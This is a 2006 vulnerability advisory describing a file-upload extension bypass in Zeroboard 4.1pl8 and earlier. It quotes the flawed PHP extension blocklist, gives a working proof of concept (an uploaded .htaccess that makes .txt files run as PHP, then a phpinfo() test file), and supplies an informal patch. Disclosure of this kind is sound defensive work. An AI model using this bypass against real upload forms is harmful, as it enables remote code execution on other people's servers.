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securityvulnsSecurityvulnsSECURITYVULNS:DOC:13224
HistoryJun 17, 2006 - 12:00 a.m.

Zeroboard File Upload & extension bypass Vulnerability

2006-06-1700:00:00
vulners.com
13

Zeroboard File Upload & extension bypass Vulnerability

Author : Choi Min-sung (mins at wins21.com)
Product : Zeroboard http://www.nzeo.com
Verndor-Patches : Unpatched
Impact : remote code execution

Summary

Basically, the PHP, HTML, and CGI files are prohibited to upload in Zeroboard. But uploading of the
other files which can

modify the configuration of Apache such as .htaccess is not considered as a serious issue. Therefore,
an unknown attacker can

execute any malicious codes on the system and acquire system control also.

Affected Products

  • The FileType in the .htaccess can be modified by configuring the Override FileInfo or OverrideAll in
    the httpd.conf of

Apache.

  • Zeroboeard4.1pl8 or earlier

Details

Zeroboard basically prohibits uploading execution scripts such as php, html, cgi, and asp.

write_ok.php

// Upload prohibited
if($file1_size>0) {
$s_file_name1=$file1_name;
if(eregi("\.inc",$s_file_name1)||eregi("\.phtm",$s_file_name1)||eregi("\.htm",$s_file_name1)||eregi("\.shtm",$s_file_name1)

||eregi("\.ztx",$s_file_name1)||eregi("\.php",$s_file_name1)||eregi
("\.dot",$s_file_name1)||eregi("\.asp",$s_file_name1)

||eregi("\.cgi",$s_file_name1)||eregi("\.pl",$s_file_name1)) Error("The HTML and PHP related files
cannot be uploaded.");

: But the above codes cannot block the upload of files such as .htaccess and etc.

The Process of an Actual Attack

  • Attack Scenario
  1. A malicious user uploads a following '.htaccess' file.

.htaccess

AddType application/x-httpd-php .php .php3 .php4 .htm .html .txt

  1. A malicious user uploads a following .txt file.
    test.txt

<? phpinfo(); ?>

  1. The PHP script is executed, because the .txt file is modified to execute the PHP script.

$ lynx --dump http://hackme/zb41pl7/bbs/data/test/test.txt

Solution

Below is an informal patch that I made.
Vendor Proceed -> Unpatched

write_ok.php.patch

— write_ok.php.org 2005-09-01 19:22:17.000000000 +0900
+++ write_ok.php 2005-09-01 19:22:27.000000000 +0900
@@ -208,7 +208,7 @@

// Upload prohibited
if($file1_size>0) {
$s_file_name1=$file1_name;

if(eregi("\.inc",$s_file_name1)||eregi("\.phtm",$s_file_name1)||eregi("\.htm",$s_file_name1)||eregi("\.shtm",$s_file_name1)

||eregi("\.ztx",$s_file_name1)||eregi("\.php",$s_file_name1)||eregi("\.dot",$s_file_name1)||eregi("\.asp",$s_file_name1)

||eregi("\.cgi",$s_file_name1)||eregi("\.pl",$s_file_name1)) Error("The HTML and PHP related files
cannot be uploaded.");

if(preg_match("/^\./",$s_file_name1)||eregi("\.inc",$s_file_name1)||eregi("\.phtm",$s_file_name1)||eregi

("\.htm",$s_file_name1)||eregi("\.shtm",$s_file_name1)||eregi("\.ztx",$s_file_name1)||eregi("\.php",$s_file_name1)||eregi

("\.dot",$s_file_name1)||eregi("\.asp",$s_file_name1)||eregi("\.cgi",$s_file_name1)||eregi("\.pl",$s_file_name1))
Error("The

HTML and PHP related files cannot be uploaded.");

//Check extension
if($setup[pds_ext1]) {

Timeline

01/09/2005 Initial vendor notification. I made Temporary Patch.
02/09/2005 Vendor confirms vulnerability.
15/03/2006 Released Patch 4.1pl8 (NOT PATCHED THIS VULNERABILITY)
12/06/2006 Vulnerability reported to KISA (Korea Infomation Security Agency) KRCert
12/06/2006 Final Vendor Contact.
12/06/2006 Secunia notified of this vulnerability.
16/06/2006 Public disclosure.

Credits

Discovered by Choi Min-sung, WINSTechnet CERT

Reference Site

http://securecast.wins21.com/zerovul.html
http://securecast.wins21.com/offer/offer_database_view.asp?code=WE06-0391